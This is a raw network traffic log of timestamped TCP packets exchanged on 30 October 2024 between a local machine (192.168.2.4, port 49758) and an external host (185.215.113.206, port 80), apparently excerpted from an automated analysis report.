Oct 30, 2024 20:13:28.475461006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475475073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475485086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475485086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475490093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475498915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475503922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475514889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475518942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475533962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475548983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475553989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475553989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475564003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475569010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475577116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475591898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475605965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475615025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475620985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475637913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475637913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475652933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475667953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475686073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475686073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475693941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475709915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475713968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475713968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475723028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475727081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475743055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475752115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475759029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.475776911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475776911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.475800991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.476310015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.476325989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.476340055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.476355076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.476361036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.476361036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.476372957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.476377010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.476388931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.476404905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.476419926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.476419926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.476422071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.476437092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.476457119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.476507902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.594657898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.594696999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.594715118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.594762087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.594800949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.594820023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.594835997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.594851017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.594867945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.594872952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.594911098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.594944954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.595258951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.595273972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.595288992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.595305920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.595305920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.595329046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.595333099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.595346928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.595352888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.595379114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.595424891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.595568895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.595582962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.595598936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.595613956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.595618963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.595618963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.595628977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.595643997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.595659018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.595666885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.595666885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.595673084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.595695972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.595798969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.596133947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596158028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596174002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596187115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596204042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596210957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.596210957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.596218109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596232891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596256018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596262932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.596262932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.596302032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.596793890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596812010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596826077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596839905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596848011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.596856117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596869946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596873999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.596884966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596899986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596904993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.596914053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596929073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596941948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.596941948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.596945047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596961975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596976995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.596988916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.596988916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.597045898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.597712040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.597728968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.597750902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.597767115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.597783089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.597783089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.597799063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.597815990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.597832918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.597839117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.597839117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.597847939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.597863913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.597867012 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.597881079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.597896099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.597922087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.597922087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.597953081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.598532915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.598551035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.598567009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.598614931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.598622084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.598630905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.598645926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.598655939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.598661900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.598683119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.598686934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.598702908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.598717928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.598725080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.598735094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.598748922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.598759890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.598759890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.598763943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.598795891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.598845005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.717266083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.717307091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.717323065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.717370033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.717370033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.717411041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.717426062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.717434883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.717607975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.717638969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.717654943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.717670918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.717705965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.717705965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.717915058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.717931032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.717946053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.717962027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.717978001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.717987061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.717987061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.717993021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.718009949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.718030930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.718030930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.718055964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.718504906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.718519926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.718534946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.718552113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.718561888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.718561888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.718568087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.718585014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.718589067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.718600988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.718616962 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.718638897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.718638897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.718774080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.719171047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.719186068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.719199896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.719218969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.719223022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.719234943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.719239950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.719254971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.719264030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.719264030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.719269991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.719285011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.719296932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.719296932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.719300985 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.719310999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.719325066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.719333887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.719341993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.719350100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.719357967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.719369888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.719372988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.719394922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.719394922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.719412088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.720067978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720083952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720098019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720113993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720129013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720130920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.720145941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720160961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720169067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.720169067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.720175028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720191956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.720213890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.720659018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720674992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720690012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720704079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720710039 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.720721006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720736027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720743895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.720743895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.720753908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720769882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720777035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.720787048 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720802069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.720810890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720825911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.720825911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720841885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.720860958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.720881939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.721600056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.721623898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.721640110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.721652031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.721656084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.721671104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.721683979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.721683979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.721687078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.721702099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.721715927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.721716881 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.721716881 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.721730947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.721746922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.721754074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.721765041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.721793890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.721793890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.721824884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.839682102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.839795113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.839839935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.839884043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.839895010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.839900017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.839931011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.839957952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.839999914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840014935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840029955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840051889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.840091944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.840281963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840297937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840312958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840328932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840332031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.840363979 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.840383053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.840543032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840563059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840578079 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840595007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.840607882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.840672970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.840713978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840728998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840743065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840764999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840778112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.840778112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.840780020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840792894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840809107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840815067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.840825081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.840847969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.840847969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.840900898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.841213942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.841229916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.841244936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.841262102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.841278076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.841278076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.841298103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.841298103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.841465950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.841481924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.841499090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.841523886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.841523886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:28.841571093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.841586113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:28.841593027 CET	49758	80	192.168.2.4	185.215.113.206
